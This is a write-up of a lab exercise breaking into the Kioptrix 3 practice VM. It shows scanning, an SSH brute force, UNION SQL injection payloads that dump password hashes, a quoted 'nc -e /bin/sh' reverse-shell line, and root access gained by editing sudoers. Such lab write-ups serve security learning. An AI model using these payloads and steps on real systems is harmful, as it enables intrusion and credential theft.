Information gathering
Open Ports
$ sudo nmap -nP 10.10.10.0/24
Nmap scan report for 10.10.10.6
Host is up (0.0030s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nikto
$ sudo nikto --host 10.10.10.6
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.6
+ Target Hostname: 10.10.10.6
+ Target Port: 80
+ Start Time: 2020-07-18 20:33:58 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun 5 15:22:00 2009
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7862 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2020-07-18 20:34:11 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Exploring webapp
Start with just working on the web portion, I load up the webpage to just explore around:
Of course the login is where we should start:
I don't see SQL running, or at least exposed, but I'll try some simple SQL Injection regardless. I tried the usual suspects and didn't immediately get any hits so I just continued exploring around the web app. I found there's an image gallery, presumably if I can get a login I'll be able to upload images! That may also be an a attack vector.
Clicking through as a normal user I can't seem to find a login page for the gallery itself, nor somewhere to upload without being logged in. So, I'm going to quickly start dirbuster.
Dirbuster immediately started finding all sorts of files laying around, I noticed one with login.php and opened it up to see this error. This is some decent information about the location of the web files which may prove useful later.
I also find this script, upload.php which seems to enforce authentication but this may also prove useful later.
Look for vulnerabilities
Before digging into the webapp more with burpsuite, I'm going to take a moment to see if there's any easier/quicker ways in from the information I have so far:
# I Have PHP version
$ searchsploit 5.2.4 PHP
...
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bi | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote | php/remote/29316.py
# I know from dirbuster it's running 'tiny_mce', whatever that is
$ searchsploit tiny_mce
---------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------- ---------------------------------
B-Hind CMS (tiny_mce) - Arbitrary File Upload | php/webapps/12646.txt
CompactCMS 1.4.0 - 'tiny_mce' Arbitrary File Upload | php/webapps/12613.txt
Farsinews 3.0 - 'Tiny_mce_gzip.php' Directory Traversal | php/webapps/28200.txt
Manx 1.0.1 - /admin/tiny_mce/plugins/ajaxfilemanager/aja | php/webapps/36364.txt
Manx 1.0.1 - /admin/tiny_mce/plugins/ajaxfilemanager_OLD | php/webapps/36365.txt
XOOPS 2.5.4 - /tiny_mce/plugins/xoopsimagemanager/xoopsi | php/webapps/37093.txt
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
I can view the index tree of tiny_mce, doesn't look to be any vulnerable plugins. Let's try one or two of those PHP exploits for a laugh.
$ less /usr/share/exploitdb/exploits/php/remote/29316.py
$ cp /usr/share/exploitdb/exploits/php/remote/29316.py .
$ python 29316.py -h kioptrix3.com -p 80 -s -v
--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--
[+] sc4nn1ng s1ngl3 h0st kioptrix3.com
-> kioptrix3.com n0t vu1n
[+] h0p3 1t h3lp3d
I quickly read the other exploit, and we don't have cgi-bin so, no dice there either. No easy wins here yet!
Back to the login page
I'm pretty confidant there's a way in on that login page, so I'm going to turn my attention over to that for a while, loading up burpsuite, configuring browser to proxy, let's look a bit closer here!
Nothing in the headers that looks like it'll give us an easy win... I also stepped through intercepting the traffic to see if there were any hidden intermediate requests we could exploit, couldn't see anything there either.
This is probably going to take me a while, I'll need to study up on some stuff here... So, I started a bruteforce against SSH while I'm working... who knows right?
$ sudo hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://10.10.10.6 -t 4 -v -I
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-19 13:51:39
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 169512 login tries (l:168/p:1009), ~42378 tries per task
[DATA] attacking ssh://10.10.10.6:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://@10.10.10.6:22
[INFO] Successful, password authentication is supported by ssh://10.10.10.6:22
Back to the task on hand... I noticed that everytime a request is sent, we're given a new PHP Session cookie. Setting the cookie to an empty string results in this error:
I dug in here for a while, trying all the common sql/command/xss injection techniques I know (I don't know a whole lot yet) but came up dry... So I went back searching through information i gathered. Back in my Nikto scan I overlooked an interesting result, there's a phpmyadmin page? Sure enough, I can access it!
Let's see if there are any matching exploits:
$ searchsploit phpmyadmin
-------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------- ---------------------------------
phpMyAdmin 2.x - 'db_create.php?db' Cross-Site Scripting | php/webapps/29058.txt
phpMyAdmin 2.x - 'db_operations.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/29059.txt
phpMyAdmin 2.x - 'error.php' Cross-Site Scripting | php/webapps/26199.txt
phpMyAdmin 2.x - 'Export.php' File Disclosure | php/webapps/23640.txt
phpMyAdmin 2.x - 'queryframe.php' Cross-Site Scripting | php/webapps/26392.txt
phpMyAdmin 2.x - 'querywindow.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/29060.txt
phpMyAdmin 2.x - 'server_databases.php' Cross-Site Scripting | php/webapps/26393.txt
phpMyAdmin 2.x - 'sql.php?pos' Cross-Site Scripting | php/webapps/29061.txt
phpMyAdmin 2.x - Convcharset Cross-Site Scripting | php/webapps/25330.txt
phpMyAdmin 2.x - External Transformations Remote Command Execution | php/webapps/24817.txt
phpMyAdmin 2.x - Information Disclosure | php/webapps/22798.txt
phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures | php/webapps/29062.txt
phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service | php/dos/35539.txt
-------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Lots of XSS vulnerabilities, I wonder if we could use that to disclose something useful? I want to check out the file disclosure vuln first, maybe that'll point me in a good direction.
source: https://www.securityfocus.com/bid/9564/info
phpMyAdmin is prone to a vulnerability that may permit remote attackers to gain access to files that are readable by the hosting web server. The issue is reported to exist in the 'export.php' script and may be exploited by providing directory traversal sequences as an argument for a specific URI parameter.
http://www.example.com/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00
This isn't useful until we get a login though, the page just redirects us to the auth page.
$ less /usr/share/exploitdb/exploits/php/webapps/22798.txt
source: https://www.securityfocus.com/bid/7963/info
A vulnerability has been reported for phpMyAdmin that may reveal the contents of directories to remote attackers. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, dot-dot-slash '../' directory traversal sequences are not sufficiently sanitized from URI parameters.
http://localhost/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=[../../../]
Again not useful to us here. We do have access to error.php so let's play with the XSS there?
$ less /usr/share/exploitdb/exploits/php/webapps/26199.txt
source: https://www.securityfocus.com/bid/14675/info
phpMyAdmin is prone to a cross-site scripting vulnerability.
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Such an attack would require that the victim follows a malicious link that includes hostile HTML and script code.
/error.php?error=%3Cscript%3Ewindow.alert('a')%3C/script%3E
The provided test payload doesn't work on this version, another dead end. Saving the best possibility for last, let's check out the potential RCE:
$ less /usr/share/exploitdb/exploits/php/webapps/24817.txt
source: https://www.securityfocus.com/bid/11886/info
phpMyAdmin is reported prone to multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands and disclose files on a vulnerable computer. These issues result from insufficient sanitization of user-supplied data.
The command execution is reported to be present since phpMyAdmin 2.6.0-pl2. The file disclosure is present since phpMyAdmin 2.4.0.
F\';nc -e /bin/sh $IP 80;echo \'A
I think we need to be authenticated to try this one, put that in our back pocket. Hmm...
Back to exploring
Perhaps I overlooked something vulnerable on the web pages... the Login seemed pretty secure to trivial SQL injection, maybe there's something on the blog I can use?
No user input abilities there... what about the gallery? I dug around looking for any potential user input... nothing was glaring, but I decided to try to see if there was some silly ability to read the page source, so I went to /gallery/gallery.php and got this:
Now this looks like something we can play with! It discloses the query as 'order by parentid,sort,name', so let's try injecting sane values into the URL to see if their being dropped into the query!
/gallery/gallery.php?parentid=1&sort=2&name=3
No change in the error output... maybe I can go back and see on the previous page if there's an action url that'll disclose the parameter fields?
On each image page, there's a vote function that runs this command: vote.php?id=3&vote=5&from=%2Fgallery%2Fp.php%2F3%3F. That's certainly suspect, I wonder if we can get error disclosure on that url? I played with it for a little while, nothing insanely obvious.
I also noticed images are linked by http://kioptrix3.com/gallery/g.php/1, so I went to http://kioptrix3.com/gallery/g.php, and there was a dropdown for sorting options! I selected a random one and was sent to the url http://kioptrix3.com/gallery/gallery.php?id=1&sort=views#photos. Bingo, now I've got something to mess with.
So, we know our query looks something like:
SELECT *
FROM images
ORDER BY parentid, sort, name;
Some of the different sort options sent by the application are:
- size#photos
- votes#photos
- photoid#photos
- filename#photos
I played with the sort for a while, seemingly it's vulnerable but I couldn't get it to error from quotes. So I tried the other fields. Entering
1'1for the id gives us an SQL error. Playing with id some more:'sleep(10)'sends us back to the index,'1'gives no results,sleep(10) --hung the page for 10 seconds, bingo!
Database Enumeration
Alright, let's see what we can do from here. Remember from before we discovered the webroot is located at /home/www/kioptrix3.com, so ''union select 1,'' INTO OUTFILE '/home/www/kioptrix3.com/cmd.php' -- should write a file we can read and start getting some data from the database!
I ran it, but got back the error The used SELECT statements have a different number of columnsCould not select category.
So I kept adding ,'' to the select statement until I got this error:
Our payload was ''union select 1,'','','','','' INTO OUTFILE '/home/www/kioptrix3.com/cmd.php' --. So, we just need to find a directory we can write to, right?
I tried every directory dirbuster found, in /cache there's even links to files that don't exist anymore so I tried writing to those, no dice. SQL user just doesn't have write access. I could however write to /tmp, as one would expect. How can I use that though... Not sure right now. Let's backup a little bit...
So, ?id=1 order by 7--&sort=size#photos gives us "Unknown Column" error. Therefore, there are 6 columns.
?id=1 and 1=2 union select 1,2,3,4,5,6--&sort=size#photos displays this page:
I think this means column 3 is vulnerable to injection?
So then, ?id=1 and 1=2 union select 1,2,version(),4,5,6--&sort=size#photos should replace 3 on the page with the sql version?
Yep, awesome now we're finally extracting some data! Replacing 3 with database() informs us that we're currently acting on the gallery database. Swaping 3 with user() informs us that we're acting as root@localhost, sweet sql is running as root!
The payload ?id=1 and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables%20 where table_schema=database()--&sort=size#photos dumps us the tables:
dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users
Alright, we're on a good path here. I think we should probably target the dev_accounts table. So, let's figure out what columns are in there.
So, we have to encode the table name now, let's use waraxe's tool.
dev_accounts becomes:
CHAR(100)%2bCHAR(101)%2bCHAR(118)%2bCHAR(95)%2bCHAR(97)%2bCHAR(99)%2bCHAR(99)%2bCHAR(111)%2bCHAR(117)%2bCHAR(110)%2bCHAR(116)%2bCHAR(115)
So our payload becomes
kioptrix3.com/gallery/gallery.php?id=1 and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=CHAR(100)%2bCHAR(101)%2bCHAR(118)%2bCHAR(95)%2bCHAR(97)%2bCHAR(99)%2bCHAR(99)%2bCHAR(111)%2bCHAR(117)%2bCHAR(110)%2bCHAR(116)%2bCHAR(115)--&sort=size#photos
For which we got back
CHARACTER_SETS,CHARACTER_SETS,CHARACTER_SETS,CHARACTER_SETS,COLLATIONS,COLLATIONS,COLLATIONS,COLLATIONS,COLLATIONS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COLUMNS,COL
That doesn't seem right... Try again:
kioptrix3.com/gallery/gallery.php?id=1 and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=CHAR(100,101,118,95,97,99,99,111,117,110,116,115)--&sort=size#photos
id,username,password
That's more like it! Now...
kioptrix3.com/gallery/gallery.php?id=1 and 1=2 union select 1,2,group_concat(id,0x3a,username,0x3a,password),4,5,6 from dev_accounts--&sort=size#photos
1:dreg:0d3eccfb887aabd50f243b3f155c0f85,2:loneferret:5badcaf789d3d1d09794d8f021f40f0e
Okay, let's try these to login! Of course, they didn't work. They must be hashes? Running a quick Hash ID tool, they're indeed MD5 hashes.
Cracking the passwords
My workstation isn't very beefy, so hashcat isn't very attractive. Let's try Crack Station first. I entered, my hashes, and instantly got back the passwords!
I'm actually very surprised my brute-force didn't get me in... aren't those passwords on the list of top-ten most common?! Clearly I suck at brute-forcing.
Initial Access
Alright let's see what we can do with those. First I want to try ssh:
$ ssh dreg@10.10.10.6
$ ssh dreg@10.10.10.6
dreg@10.10.10.6s password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
dreg@Kioptrix3:~$
Privilege Escalation
Oh baby, we're in!
$ id
uid=1001(dreg) gid=1001(dreg) groups=1001(dreg)
$ sudo -l
[sudo] password for dreg:
Sorry, user dreg may not run sudo on Kioptrix3.
$ ls -al
total 24
drwxr-xr-x 2 dreg dreg 4096 2020-07-19 16:47 .
drwxr-xr-x 5 root root 4096 2011-04-16 07:54 ..
-rw------- 1 dreg dreg 32 2020-07-19 16:47 .bash_history
-rw-r--r-- 1 dreg dreg 220 2011-04-16 07:54 .bash_logout
-rw-r--r-- 1 dreg dreg 2940 2011-04-16 07:54 .bashrc
-rw-r--r-- 1 dreg dreg 586 2011-04-16 07:54 .profile
I want to login to the other user too to see if maybe he has root access, who knows!
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
Alright, slightly better. Exploring around:
loneferret@Kioptrix3:~$ ls -al
total 64
drwxr-xr-x 3 loneferret loneferret 4096 2011-04-17 08:59 .
drwxr-xr-x 5 root root 4096 2011-04-16 07:54 ..
-rw-r--r-- 1 loneferret users 13 2011-04-18 11:44 .bash_history
-rw-r--r-- 1 loneferret loneferret 220 2011-04-11 17:00 .bash_logout
-rw-r--r-- 1 loneferret loneferret 2940 2011-04-11 17:00 .bashrc
-rwxrwxr-x 1 root root 26275 2011-01-12 10:45 checksec.sh
-rw-r--r-- 1 root root 224 2011-04-16 08:51 CompanyPolicy.README
-rw------- 1 root root 15 2011-04-15 21:21 .nano_history
-rw-r--r-- 1 loneferret loneferret 586 2011-04-11 17:00 .profile
drwx------ 2 loneferret loneferret 4096 2011-04-14 11:05 .ssh
-rw-r--r-- 1 loneferret loneferret 0 2011-04-11 18:00 .sudo_as_admin_successful
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
Okay two things stick out:
- sudo ht may allow us to read/write as root
- checksec.sh is owned by root, but we can read/write to it.
Let's see what
htis:
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht
Interesting indeed.
I tried writing a config file to read to see if it would execute it as root or something, it just threw an error on loading. No dice. Well, I've never heard of HT but I did some google searching and it's nothing custom, it's an IDE of sorts! I couldn't get the 1-9 commands to work, but my keyboard doesn't have F keys and that's what triggers it. Did some remapping and managed to use it.
We're running as root! I can read /root/htpasswd. I'm sure there's a million ways to get root now, I chose to edit the sudoers file and give our other user full access:
dreg@Kioptrix3:~$ sudo -l
[sudo] password for dreg:
User dreg may run the following commands on this host:
(ALL) ALL
dreg@Kioptrix3:~$ sudo su
root@Kioptrix3:/home/dreg# id
uid=0(root) gid=0(root) groups=0(root)
We win!